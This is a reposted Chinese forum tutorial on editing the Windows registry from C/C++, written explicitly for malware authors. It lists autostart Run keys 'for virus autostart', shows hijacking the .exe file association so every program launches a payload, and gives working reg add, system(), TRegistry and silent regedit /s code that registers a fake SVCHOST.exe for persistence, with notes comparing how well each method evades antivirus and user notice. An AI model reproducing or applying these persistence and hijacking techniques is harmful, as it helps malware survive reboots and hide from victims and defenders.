设为首页 收藏本站
查看: 797|回复: 0

[经验分享] C\C++修改windows注册表

[复制链接]

尚未签到

发表于 2018-6-15 11:15:12 | 显示全部楼层 |阅读模式
(三个程序system()调用可以查看帮助,有很详细的说明;C++的函数没试验;spawnl()函数有点像是Linux下的exec().)  可以用于病毒开机自启动的注册表位置:
  [HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
  [HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices]
  [HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]
  [HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce]
  [HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
  [HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce]
  [HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices]
  以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。
  2.关联文件类型
  在注册表HKEY_CLASS_ROOT下可以更改文件类型的默认启动程序,比如更改EXE文件的启动程序为你写的病毒,那么每当运行exe程序时,病毒将替代程序运行
  例:
  到注册表HKEY_CLASS_ROOT\\exefile\\shell\\open\\command下,修改“默认”修改为c:\\windows\\svchost.exe \"%1\" %*,那么以后运行.exe文件时只会运行c:\\windows\\svchost.exe
  3.程序修改注册表的方法:
  (1)使用REG命令添加修改注册表:
  REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看
  主要格式:
  REG Operation [Parameter List]
  Operation   [ QUERY    | ADD     | DELETE   | COPY     |
  SAVE     | LOAD    | UNLOAD   | RESTORE |
  COMPARE | EXPORT | IMPORT ]
  例:向HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run中添加名为SVCHOST的键值,键值内容为C:\\Windows\\system\\SVCHOST.exe
  reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f
  调用reg命令的方法主要有两中,一种是使用C语言中的system函数,另一种是使用C语言中的spawn类函数(如函数spawnl)。具体system和spawnl使用方法请参见其它资料,这里仅举一例:
  例:用system函数通过reg命令向HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run中添加名为SVCHOST的键值,键值内容为C:\\Windows\\system\\SVCHOST.exe
  system("reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\/v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f");
  评论与小结:使用REG命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自C:\\WINDOWS\\system32\\reg.exe,使病毒不容易被寻找到。但由于REG命令属于控制台命令,因此调用时有黑色的控制台出现,是病毒的征兆被感染用户发现,不利于病毒隐藏。
  (2)使用WindowsAPI添加修改注册表
  WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有:
  RegCloseKey
  RegConnectRegistry
  RegCreateKey
  RegCreateKeyEx
  RegDeleteKey
  RegDeleteVale
  RegEnumKey
  RegFlushKey
  RegGetKeySecurity(Windows9X不适用)
  RegLoadKey
  RegNotifyChangeKeyValue(Windows9X不适用)
  RegOpenKey
  RegOpenKeyEx
  RegQueryInfoKey
  RegQueryValue
  RegQueryValueEx
  RegReplaceKey
  RegRestoreKey(Windows9X不适用)
  RegSaveKey
  RegSetKeySecurity(Windows9X不适用)
  RegSetValue
  RegSetValueEx
  RegUnLoadKey
  等,函数的使用需要在32位C编译器下调用windows.h文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例.
  例:通过WindowsAPI向HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run中添加名为SVCHOST的键值,键值内容为C:\\Windows\\system\\SVCHOST.exe
  TRegistry* Registry;
  Registry=new TRegistry();
  Registry->RootKey=HKEY_LOCAL_MACHINE;
  Registry->OpenKey(\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",FALSE);
  Registry->WriteString(\"SVCHOST\",\"C:\\\\Windows\\\\system\\\\SVCHOST.exe\");WriteString()
  Registry->CloseKey();
  评论与小结:使用WindowsAPI添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。
  (3)使用REGEDIT添加修改注册表
  REGEDIT就是注册表编辑器,但它其实有一个/s的参数,只要调用regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。
  例:通过spawnl函数调用regedit向HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加名为wjview32的键值,键值内容为C:\windows\wjview32.com /s
  char*regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\windows\\wjview32.com/s\""};
  FILE *output;
  if((output=fopen("$$$$$","w"))!=NULL)
  {
  fprintf(output,regadd);
  fclose(output);
  spawnl(1,"c:\\\\windows\\\\regedit.exe"," /s $$$$$",NULL);
  出处:http://hi.baidu.com/honch4/blog/item/49f686e85dbaf635b90e2dca.html

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-524146-1-1.html 上篇帖子: Windows 和 GPT 常见问题解答 下篇帖子: (推荐)Windows Server 2003从入门到精通
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表